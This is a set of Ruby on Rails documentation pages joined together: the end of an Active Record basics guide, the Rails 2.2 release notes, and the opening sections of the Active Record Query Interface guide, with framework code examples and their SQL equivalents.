Note that the above code is database-agnostic: it will run in MySQL, MariaDB, PostgreSQL, SQLite, and others.

Rails keeps track of which migrations have been committed to the database and stores them in a neighboring table in that same database called `schema_migrations`.

To run the migration and create the table, you'd run `bin/rails db:migrate`, and to roll it back and delete the table, `bin/rails db:rollback`.

You can learn more about migrations in the [Active Record Migrations guide](active_record_migrations.html).

## [9. Associations](#associations)

Active Record associations allow you to define relationships between models. Associations can be used to describe one-to-one, one-to-many, and many-to-many relationships. For example, a relationship like “Author has many Books” can be defined as follows:

```
class Author < ApplicationRecord
  has_many :books
end
```

The `Author` class now has methods to add and remove books to an author, and much more.

You can learn more about associations in the [Active Record Associations guide](association_basics.html).

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/2_2_release_notes.html
----

***

## [1. Infrastructure](#infrastructure)

Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.

### [1.1. Internationalization](#internationalization)

Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).

* Lead Contributors: Rails i18 Team

* More information :

  * [Official Rails i18 website](http://rails-i18n.org)
  * [Finally. Ruby on Rails gets internationalized](https://web.archive.org/web/20140407075019/http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized)
  * [Localizing Rails : Demo application](https://github.com/clemens/i18n_demo_app)

### [1.2. Compatibility with Ruby 1.9 and JRuby](#compatibility-with-ruby-1-9-and-jruby)

Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.

## [2. Documentation](#documentation)

The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the [Ruby on Rails Guides](https://guides.rubyonrails.org/) project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:

* [Getting Started with Rails](getting_started.html)
* [Rails Database Migrations](active_record_migrations.html)
* [Active Record Associations](association_basics.html)
* [Active Record Query Interface](active_record_querying.html)
* [Layouts and Rendering in Rails](layouts_and_rendering.html)
* [Action View Form Helpers](form_helpers.html)
* [Rails Routing from the Outside In](routing.html)
* [Action Controller Overview](action_controller_overview.html)
* [Rails Caching](caching_with_rails.html)
* [A Guide to Testing Rails Applications](testing.html)
* [Securing Rails Applications](security.html)
* [Debugging Rails Applications](debugging_rails_applications.html)
* [The Basics of Creating Rails Plugins](plugins.html)

All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.

If you want to generate these guides locally, inside your application:

```
$ rake doc:guides
```

This will put the guides inside `Rails.root/doc/guides` and you may start surfing straight away by opening `Rails.root/doc/guides/index.html` in your favorite browser.

* Major contributions from [Xavier Noria](http://advogato.org/person/fxn/diary.html) and [Hongli Lai](http://izumi.plan99.net/blog/).

* More information:

  * [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide)
  * [Help improve Rails documentation on Git branch](https://rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch)

## [3. Better integration with HTTP : Out of the box ETag support](#better-integration-with-http-out-of-the-box-etag-support)

Supporting the ETag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.

```
class ArticlesController < ApplicationController
  def show_with_respond_to_block
    @article = Article.find(params[:id])

    # If the request sends headers that differs from the options provided to stale?, then
    # the request is indeed stale and the respond_to block is triggered (and the options
    # to the stale? call is set on the response).
    #
    # If the request headers match, then the request is fresh and the respond_to block is
    # not triggered. Instead, the default render will occur, which will check the last-modified
    # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
    # of rendering the template.
    if stale?(:last_modified => @article.published_at.utc, :etag => @article)
      respond_to do |wants|
        # normal response processing
      end
    end
  end

  def show_with_implied_render
    @article = Article.find(params[:id])

    # Sets the response headers and checks them against the request, if the request is stale
    # (i.e. no match of either etag or last-modified), then the default render of the template happens.
    # If the request is fresh, then the default render will return a "304 Not Modified"
    # instead of rendering the template.
    fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
  end
end
```

## [4. Thread Safety](#thread-safety)

The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.

To enable multithreaded dispatching in production mode of your application, add the following line in your `config/environments/production.rb`:

```
config.threadsafe!
```

* More information :

  * [Thread safety for your Rails](http://m.onkey.org/2008/10/23/thread-safety-for-your-rails)
  * [Thread safety project announcement](https://rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core)
  * [Q/A: What Thread-safe Rails Means](http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html)

## [5. Active Record](#active-record)

There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.

### [5.1. Transactional Migrations](#transactional-migrations)

Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by `rake db:migrate:redo` after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.

* Lead Contributor: [Adam Wiggins](http://about.adamwiggins.com/)

* More information:

  * [DDL Transactions](http://adam.heroku.com/past/2008/9/3/ddl_transactions/)
  * [A major milestone for DB2 on Rails](http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/)

### [5.2. Connection Pooling](#connection-pooling)

Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a `pool` key to your `database.yml` to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a `wait_timeout` that defaults to 5 seconds before giving up. `ActiveRecord::Base.connection_pool` gives you direct access to the pool if you need it.

```
development:
  adapter: mysql
  username: root
  database: sample_development
  pool: 10
  wait_timeout: 10
```

* Lead Contributor: [Nick Sieger](http://blog.nicksieger.com/)
* More information:
  * [What's New in Edge Rails: Connection Pools](http://archives.ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools)

### [5.3. Hashes for Join Table Conditions](#hashes-for-join-table-conditions)

You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.

```
class Photo < ActiveRecord::Base
  belongs_to :product
end

class Product < ActiveRecord::Base
  has_many :photos
end

# Get all products with copyright-free photos:
Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})
```

* More information:
  * [What's New in Edge Rails: Easy Join Table Conditions](http://archives.ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions)

### [5.4. New Dynamic Finders](#new-dynamic-finders)

Two new sets of methods have been added to Active Record's dynamic finders family.

#### [5.4.1. `find_last_by_attribute`](#find-last-by-attribute)

The `find_last_by_attribute` method is equivalent to `Model.last(:conditions => {:attribute => value})`

```
# Get the last user who signed up from London
User.find_last_by_city('London')
```

* Lead Contributor: [Emilio Tagua](http://www.workingwithrails.com/person/9147-emilio-tagua)

#### [5.4.2. `find_by_attribute!`](#find-by-attribute-bang)

The new bang! version of `find_by_attribute!` is equivalent to `Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound` Instead of returning `nil` if it can't find a matching record, this method will raise an exception if it cannot find a match.

```
# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
User.find_by_name!('Moby')
```

* Lead Contributor: [Josh Susser](http://blog.hasmanythrough.com)

### [5.5. Associations Respect Private/Protected Scope](#associations-respect-private-protected-scope)

Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has\_one :account) `@user.account.private_method` would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use `@user.account.send(:private_method)` (or make the method public instead of private or protected). Please note that if you're overriding `method_missing`, you should also override `respond_to` to match the behavior in order for associations to function normally.

* Lead Contributor: Adam Milligan
* More information:
  * [Rails 2.2 Change: Private Methods on Association Proxies are Private](http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/)

### [5.6. Other Active Record Changes](#other-active-record-changes)

* `rake db:migrate:redo` now accepts an optional VERSION to target that specific migration to redo
* Set `config.active_record.timestamped_migrations = false` to have migrations with numeric prefix instead of UTC timestamp.
* Counter cache columns (for associations declared with `:counter_cache => true`) do not need to be initialized to zero any longer.
* `ActiveRecord::Base.human_name` for an internationalization-aware humane translation of model names

## [6. Action Controller](#action-controller)

On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.

### [6.1. Shallow Route Nesting](#shallow-route-nesting)

Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.

```
map.resources :publishers, :shallow => true do |publisher|
  publisher.resources :magazines do |magazine|
    magazine.resources :photos
  end
end
```

This will enable recognition of (among others) these routes:

```
/publishers/1           ==> publisher_path(1)
/publishers/1/magazines ==> publisher_magazines_path(1)
/magazines/2            ==> magazine_path(2)
/magazines/2/photos     ==> magazines_photos_path(2)
/photos/3               ==> photo_path(3)
```

* Lead Contributor: [S. Brent Faulkner](http://www.unwwwired.net/)

* More information:

  * [Rails Routing from the Outside In](routing.html#nested-resources)
  * [What's New in Edge Rails: Shallow Routes](http://archives.ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes)

### [6.2. Method Arrays for Member or Collection Routes](#method-arrays-for-member-or-collection-routes)

You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:

```
map.resources :photos, :collection => { :search => [:get, :post] }
```

* Lead Contributor: [Brennan Dunn](http://brennandunn.com/)

### [6.3. Resources With Specific Actions](#resources-with-specific-actions)

By default, when you use `map.resources` to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the `:only` and `:except` options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special `:all` or `:none` options. These options are inherited by nested resources.

```
map.resources :photos, :only => [:index, :show]
map.resources :products, :except => :destroy
```

* Lead Contributor: [Tom Stuart](http://experthuman.com/)

### [6.4. Other Action Controller Changes](#other-action-controller-changes)

* You can now easily [show a custom error page](http://m.onkey.org/2008/7/20/rescue-from-dispatching) for exceptions raised while routing a request.
* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as `/customers/1.xml`) to indicate the format that you want. If you need the Accept headers, you can turn them back on with `config.action_controller.use_accept_header = true`.
* Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
* Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
* `redirect_to` now fully supports URI schemes (so, for example, you can redirect to a svn\`ssh: URI).
* `render` now supports a `:js` option to render plain vanilla JavaScript with the right MIME type.
* Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
* Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling `polymorphic_path([@project, @date, @area])` with a nil date will give you `project_area_path`.

## [7. Action View](#action-view)

* `javascript_include_tag` and `stylesheet_link_tag` support a new `:recursive` option to be used along with `:all`, so that you can load an entire tree of files with a single line of code.
* The included Prototype JavaScript library has been upgraded to version 1.6.0.3.
* `RJS#page.reload` to reload the browser's current location via JavaScript
* The `atom_feed` helper now takes an `:instruct` option to let you insert XML processing instructions.

## [8. Action Mailer](#action-mailer)

Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the `CustomerMailer` class expects to use `layouts/customer_mailer.html.erb`.

* More information:
  * [What's New in Edge Rails: Mailer Layouts](http://archives.ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts)

Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.

## [9. Active Support](#active-support)

Active Support now offers built-in memoization for Rails applications, the `each_with_object` method, prefix support on delegates, and various other new utility methods.

### [9.1. Memoization](#memoization)

Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:

```
def full_name
  @full_name ||= "#{first_name} #{last_name}"
end
```

Memoization lets you handle this task in a declarative fashion:

```
extend ActiveSupport::Memoizable

def full_name
  "#{first_name} #{last_name}"
end
memoize :full_name
```

Other features of memoization include `unmemoize`, `unmemoize_all`, and `memoize_all` to turn memoization on or off.

* Lead Contributor: [Josh Peek](http://joshpeek.com/)

* More information:

  * [What's New in Edge Rails: Easy Memoization](http://archives.ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization)
  * [Memo-what? A Guide to Memoization](http://www.railway.at/articles/2008/09/20/a-guide-to-memoization)

### [9.2. each\_with\_object](#each-with-object)

The `each_with_object` method provides an alternative to `inject`, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.

```
%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } # => {'foo' => 'FOO', 'bar' => 'BAR'}
```

Lead Contributor: [Adam Keys](http://therealadam.com/)

### [9.3. Delegates With Prefixes](#delegates-with-prefixes)

If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:

```
class Vendor < ActiveRecord::Base
  has_one :account
  delegate :email, :password, :to => :account, :prefix => true
end
```

This will produce delegated methods `vendor#account_email` and `vendor#account_password`. You can also specify a custom prefix:

```
class Vendor < ActiveRecord::Base
  has_one :account
  delegate :email, :password, :to => :account, :prefix => :owner
end
```

This will produce delegated methods `vendor#owner_email` and `vendor#owner_password`.

Lead Contributor: [Daniel Schierbeck](http://workingwithrails.com/person/5830-daniel-schierbeck)

### [9.4. Other Active Support Changes](#other-active-support-changes)

* Extensive updates to `ActiveSupport::Multibyte`, including Ruby 1.9 compatibility fixes.
* The addition of `ActiveSupport::Rescuable` allows any class to mix in the `rescue_from` syntax.
* `past?`, `today?` and `future?` for `Date` and `Time` classes to facilitate date/time comparisons.
* `Array#second` through `Array#fifth` as aliases for `Array#[1]` through `Array#[4]`
* `Enumerable#many?` to encapsulate `collection.size > 1`
* `Inflector#parameterize` produces a URL-ready version of its input, for use in `to_param`.
* `Time#advance` recognizes fractional days and weeks, so you can do `1.7.weeks.ago`, `1.5.hours.since`, and so on.
* The included TzInfo library has been upgraded to version 0.3.12.
* `ActiveSupport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true`

## [10. Railties](#railties)

In Railties (the core code of Rails itself) the biggest changes are in the `config.gems` mechanism.

### [10.1. config.gems](#config-gems)

To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in `/vendor/gems`. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:

* `config.gem _gem_name_` in your `config/environment.rb` file
* `rake gems` to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen)
* `rake gems:install` to install missing gems to the computer
* `rake gems:unpack` to place a copy of the required gems into `/vendor/gems`
* `rake gems:unpack:dependencies` to get copies of the required gems and their dependencies into `/vendor/gems`
* `rake gems:build` to build any missing native extensions
* `rake gems:refresh_specs` to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them

You can unpack or install a single gem by specifying `GEM=_gem_name_` on the command line.

* Lead Contributor: [Matt Jones](https://github.com/al2o3cr)

* More information:

  * [What's New in Edge Rails: Gem Dependencies](http://archives.ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies)
  * [Rails 2.1.2 and 2.2RC1: Update Your RubyGems](https://afreshcup.com/home/2008/10/25/rails-212-and-22rc1-update-your-rubygems)
  * [Detailed discussion on Lighthouse](http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128)

### [10.2. Other Railties Changes](#other-railties-changes)

* If you're a fan of the [Thin](http://code.macournoyer.com/thin/) web server, you'll be happy to know that `script/server` now supports Thin directly.
* `script/plugin install &lt;plugin&gt; -r &lt;revision&gt;` now works with git-based as well as svn-based plugins.
* `script/console` now supports a `--debugger` option
* Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source
* `rake notes:custom ANNOTATION=MYFLAG` lets you list out custom annotations.
* Wrapped `Rails.env` in `StringInquirer` so you can do `Rails.env.development?`
* To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.

## [11. Deprecated](#deprecated)

A few pieces of older code are deprecated in this release:

* `Rails::SecretKeyGenerator` has been replaced by `ActiveSupport::SecureRandom`

* `render_component` is deprecated. There's a [render\_components plugin](https://github.com/rails/render_component/tree/master) available if you need this functionality.

* Implicit local assignments when rendering partials has been deprecated.

  ```
  def partial_with_implicit_local_assignment
    @customer = Customer.new("Marcel")
    render :partial => "customer"
  end
  ```

  Previously the above code made available a local variable called `customer` inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now.

* `country_select` has been removed. See the [deprecation page](http://www.rubyonrails.org/deprecation/list-of-countries) for more information and a plugin replacement.

* `ActiveRecord::Base.allow_concurrency` no longer has any effect.

* `ActiveRecord::Errors.default_error_messages` has been deprecated in favor of `I18n.translate('activerecord.errors.messages')`

* The `%s` and `%d` interpolation syntax for internationalization is deprecated.

* `String#chars` has been deprecated in favor of `String#mb_chars`.

* Durations of fractional months or fractional years are deprecated. Use Ruby's core `Date` and `Time` class arithmetic instead.

* `Request#relative_url_root` is deprecated. Use `ActionController::Base.relative_url_root` instead.

## [12. Credits](#credits)

Release notes compiled by [Mike Gunderloy](http://afreshcup.com)

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/active_record_querying.html
----

***

## [1. What is the Active Record Query Interface?](#what-is-the-active-record-query-interface-questionmark)

If you’re used to working directly with raw SQL, Active Record offers a more readable and expressive way to perform the same operations. It works with most database systems, including MySQL, MariaDB, PostgreSQL, and SQLite, and its method-based interface remains consistent regardless of which database you’re using.

Basic knowledge of relational database management systems (RDBMS) and structured query language (SQL) is helpful for getting the most out of this guide. You can refer to [this SQL tutorial](https://www.khanacademy.org/computing/computer-programming/sql) or [RDBMS tutorial](https://www.devart.com/what-is-rdbms/) to learn more.

There are also numerous related guides that you may find useful:

* [Active Record Basics](active_record_basics.html) - Learn about Active Record models, associations, and validations
* [Active Record Migrations](active_record_migrations.html) - Learn how to modify your database schema
* [Active Record Validations](active_record_validations.html) - Learn how to validate data before it goes into the database
* [Active Record Callbacks](active_record_callbacks.html) - Learn how to attach code to certain events in the object lifecycle
* [Active Record Associations](association_basics.html) - Learn about the connection between Active Record models
* [Composite Primary Keys](active_record_composite_primary_keys.html) - Learn how to work with composite primary keys
* [Active Record Transactions](active_record_basics.html#transactions) - Learn about database transactions

## [2. A Bookstore Model Example](#a-bookstore-model-example)

Code examples throughout this guide will refer to one or more of the following models:

```
class Author < ApplicationRecord
  has_many :books, -> { order(year_published: :desc) }
end
```

```
class Book < ApplicationRecord
  belongs_to :supplier
  belongs_to :author
  has_many :reviews
  has_and_belongs_to_many :orders, join_table: "books_orders"

  scope :in_print, -> { where(out_of_print: false) }
  scope :out_of_print, -> { where(out_of_print: true) }
  scope :old, -> { where(year_published: ...50.years.ago.year) }
  scope :out_of_print_and_expensive, -> { out_of_print.where("price > 500") }
  scope :costs_more_than, ->(amount) { where("price > ?", amount) }
end
```

```
class Customer < ApplicationRecord
  has_many :orders
  has_many :reviews
end
```

```
class Order < ApplicationRecord
  belongs_to :customer
  has_and_belongs_to_many :books, join_table: "books_orders"

  enum :status, [:shipped, :being_packed, :complete, :cancelled]

  scope :created_before, ->(time) { where(created_at: ...time) }
end
```

```
class Review < ApplicationRecord
  belongs_to :customer
  belongs_to :book

  enum :state, [:not_reviewed, :published, :hidden]
end
```

```
class Supplier < ApplicationRecord
  has_many :books
  has_many :authors, through: :books
end
```

These models use `id` as the primary key, unless specified otherwise.

## [3. Retrieving Records from the Database](#retrieving-records-from-the-database)

To retrieve records from the database, Active Record provides several finder methods. Each finder method allows you to pass arguments into it to perform certain queries on your database without writing raw SQL.

This section focuses on some of the most common finder methods:

* [`find`](#find)
* [`take`](#take)
* [`first`](#first)
* [`last`](#last)
* [`find_by`](#find-by)

Other query methods, such as [`where`](#filtering-records) and [`group`](#grouping-records), are covered later in this guide.

For a more complete list of query and finder methods, see the [`ActiveRecord::QueryMethods`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html) and [`ActiveRecord::FinderMethods`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/FinderMethods.html) API documentation.

Finder methods that return a collection, such as `where` and `group`, return an instance of [`ActiveRecord::Relation`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html). Methods that find a single entity, such as `find` and `first`, return a single instance of the model.

The primary operation of `ActiveRecord::Relation` can be summarized as:

* Convert the supplied options to an equivalent SQL query.
* Fire the SQL query and retrieve the corresponding results from the database.
* Instantiate the equivalent Ruby object of the appropriate model for every resulting row.
* Run `after_find` and then `after_initialize` callbacks, if any.

### [3.1. Retrieving a Single Record](#retrieving-a-single-record)

Active Record provides several different ways of retrieving a single record.

#### [3.1.1. `find`](#find)

Using the [`find`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/FinderMethods.html#method-i-find) method, you can retrieve the record corresponding to the specified *primary key* that matches any supplied options. For example:

```
# Find the customer with primary key (id) 10.
store(dev)> customer = Customer.find(10)
=> #<Customer id: 10, first_name: "Ryan">
```

The SQL equivalent of the above is:

```
SELECT * FROM customers WHERE (customers.id = 10) LIMIT 1
```

The `find` method will raise an `ActiveRecord::RecordNotFound` exception if no matching record is found.

You can also use this method to query for multiple records. Call the `find` method and pass in an array of primary keys. The return value will be an array containing all of the matching records for the supplied *primary keys*. For example:

```
# Find the customers with primary keys 1 and 10.
store(dev)> customers = Customer.find([1, 10]) # OR Customer.find(1, 10)
=> [#<Customer id: 1, first_name: "Lifo">,
    #<Customer id: 10, first_name: "Ryan">]
```

The SQL equivalent of the above is:

```
SELECT * FROM customers WHERE (customers.id IN (1,10))
```

The `find` method will raise an `ActiveRecord::RecordNotFound` exception unless a matching record is found for **all** of the supplied primary keys.

If your table uses a [composite primary key](active_record_composite_primary_keys.html), you'll need to pass an array to `find` a single record. See the [Composite Primary Keys guide](active_record_composite_primary_keys.html#using-find) for more details and examples.

#### [3.1.2. `take`](#take)

The [`take`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/FinderMethods.html#method-i-take) method retrieves a record without any implicit ordering. For example:

```
store(dev)> customer = Customer.take
=> #<Customer id: 1, first_name: "Lifo">
```

The SQL equivalent of the above is:

```
SELECT * FROM customers LIMIT 1
```

The `take` method returns `nil` if no record is found and no exception will be raised.

You can pass in a numerical argument to the `take` method to return up to that number of results. For example:

```
store(dev)> customers = Customer.take(2)
=> [#<Customer id: 1, first_name: "Lifo">,
    #<Customer id: 220, first_name: "Sara">]
```

The SQL equivalent of the above is:

```
SELECT * FROM customers LIMIT 2
```

The [`take!`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/FinderMethods.html#method-i-take-21) method behaves exactly like `take`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found.

Since `take` doesn't specify an `ORDER BY` clause, the retrieved record may vary depending on the database engine. Without explicit ordering, SQL doesn't guarantee which record will be returned.

#### [3.1.3. `first`](#first)

The [`first`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/FinderMethods.html#method-i-first) method finds the first record ordered by primary key (default). For example:

```
store(dev)> customer = Customer.first
=> #<Customer id: 1, first_name: "Lifo">
```

The SQL equivalent of the above is:

```
SELECT * FROM customers ORDER BY customers.id ASC LIMIT 1
```

The `first` method returns `nil` if no matching record is found and no exception will be raised.

If your [default scope](active_record_querying.html#applying-a-default-scope) contains an [`order`](active_record_querying.html#ordering-records) method, `first` will return the first record according to this ordering.

You can pass in a numerical argument to the `first` method to return up to that number of results. For example:

```
store(dev)> customers = Customer.first(3)
=> [#<Customer id: 1, first_name: "Lifo">,
    #<Customer id: 2, first_name: "Fifo">,
    #<Customer id: 3, first_name: "Filo">]
```

The SQL equivalent of the above is:

```
SELECT * FROM customers ORDER BY customers.id ASC LIMIT 3
```

If your model uses [composite primary keys](active_record_composite_primary_keys.html), see the [Composite Primary Keys guide](active_record_composite_primary_keys.html) for details on finder behavior and ordering.

On a collection that is ordered using `order`, `first` will return the first record ordered by the specified attribute for `order`.

```
store(dev)> customer = Customer.order(:first_name).first
=> #<Customer id: 2, first_name: "Fifo">
```

The SQL equivalent of the above is:

```
SELECT * FROM customers ORDER BY customers.first_name ASC LIMIT 1
```

The [`first!`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/FinderMethods.html#method-i-first-21) method behaves exactly like `first`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found.

#### [3.1.4. `last`](#last)

The [`last`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/FinderMethods.html#method-i-last) method finds the last record ordered by primary key (default). For example:

```
store(dev)> customer = Customer.last
=> #<Customer id: 221, first_name: "Russel">
```

The SQL equivalent of the above is:

```
SELECT * FROM customers ORDER BY customers.id DESC LIMIT 1
```

The `last` method returns `nil` if no matching record is found and no exception will be raised.

If your model uses [composite primary keys](active_record_composite_primary_keys.html), see the [Composite Primary Keys guide](active_record_composite_primary_keys.html) for details on finder behavior and ordering.

If your [default scope](active_record_querying.html#applying-a-default-scope) contains an [`order`](active_record_querying.html#ordering-records) method, `last` will return the last record according to this ordering.

You can pass in a numerical argument to the `last` method to return up to that number of results. For example:

```
store(dev)> customers = Customer.last(3)
=> [#<Customer id: 219, first_name: "James">,
    #<Customer id: 220, first_name: "Sara">,
    #<Customer id: 221, first_name: "Russel">]
```

The SQL equivalent of the above is:

```
SELECT * FROM customers ORDER BY customers.id DESC LIMIT 3
```

On a collection that is ordered using `order`, `last` will return the last record ordered by the specified attribute for `order`.

```
store(dev)> customer = Customer.order(:first_name).last
=> #<Customer id: 220, first_name: "Sara">
```

The SQL equivalent of the above is:

```
SELECT * FROM customers ORDER BY customers.first_name DESC LIMIT 1
```

The [`last!`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/FinderMethods.html#method-i-last-21) method behaves exactly like `last`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found.

#### [3.1.5. `find_by`](#find-by)

The [`find_by`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/FinderMethods.html#method-i-find_by) method finds the first record matching some conditions. For example:

```
store(dev)> Customer.find_by(first_name: "Lifo")
=> #<Customer id: 1, first_name: "Lifo">

store(dev)> Customer.find_by(first_name: "Jon")
=> nil
```

It is equivalent to writing:

```
Customer.where(first_name: "Lifo").take
```

The SQL equivalent of the above is:

```
SELECT * FROM customers WHERE (customers.first_name = "Lifo") LIMIT 1
```

Note that there is no `ORDER BY` in the above SQL. If your `find_by` conditions can match multiple records, you should [apply an order](#ordering-records) to guarantee a deterministic result.

The [`find_by!`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/FinderMethods.html#method-i-find_by-21) method behaves exactly like `find_by`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found. For example:

```
store(dev)> Customer.find_by!(first_name: "does not exist")
ActiveRecord::RecordNotFound
```

This is equivalent to writing:

```
Customer.where(first_name: "does not exist").take!
```

If you are using [composite primary keys](active_record_composite_primary_keys.html), see the [Conditions with `id`](active_record_composite_primary_keys.html#conditions-with-id) section of the Composite Primary Keys guide for the `find_by(id:)` behavior.

#### [3.1.6. Dynamic Finder Methods](#dynamic-finder-methods)

For every field (also known as an attribute) you define in your table, Active Record dynamically provides a finder method. If you have a field called `first_name` on your `Customer` model for example, you get the `find_by_first_name` finder method for free from Active Record.

```
store(dev)> Customer.find_by_first_name("Bhumi")
=> #<Customer id: 25, first_name: "Bhumi">
```

If you also have a `locked` field on the `Customer` model, you also get a `find_by_locked` method.

You can specify an exclamation point (`!`) on the end of the dynamic finders to get them to raise an `ActiveRecord::RecordNotFound` error if they do not return any records:

```
store(dev)> Customer.find_by_first_name!("Ryan")
ActiveRecord::RecordNotFound
```

If you want to find both by `first_name` and `orders_count`, you can chain these finders together by simply typing `_and_` between the fields.

For example:

```
store(dev)> Customer.find_by_first_name_and_orders_count("Bhumi", 5)
=> #<Customer id: 25, first_name: "Bhumi">
```

### [3.2. Retrieving Multiple Records](#retrieving-multiple-records)

Active Record provides several methods for retrieving multiple records from the database. The most basic method is [`all`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Scoping/Named/ClassMethods.html#method-i-all), which returns all records for the model.

```
store(dev)> customers = Customer.all
=> [#<Customer id: 1, first_name: "Lifo">,
    #<Customer id: 2, first_name: "Fifo">, ...]
```

The SQL equivalent of the above is:

```
SELECT * FROM customers
```

The `all` method returns an `ActiveRecord::Relation` object, which allows you to chain additional query methods. For example, you can combine it with [`where`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/QueryMethods.html#method-i-where) to filter records:

```
store(dev)> customers = Customer.all.where(active: true)
=> [#<Customer id: 1, first_name: "Lifo", active: true>,
    #<Customer id: 3, first_name: "Joe", active: true>]
```

This is the same as:

```
customers = Customer.where(active: true)
```

The SQL equivalent is:

```
SELECT * FROM customers WHERE (customers.active = true)
```

Since `all` returns an `ActiveRecord::Relation` and relations are lazy-loaded, calling `all` first is optional and doesn't change the query behavior.

In the console, `Customer.all` appears to execute the query because the return value is displayed by calling `inspect`, which loads the records.

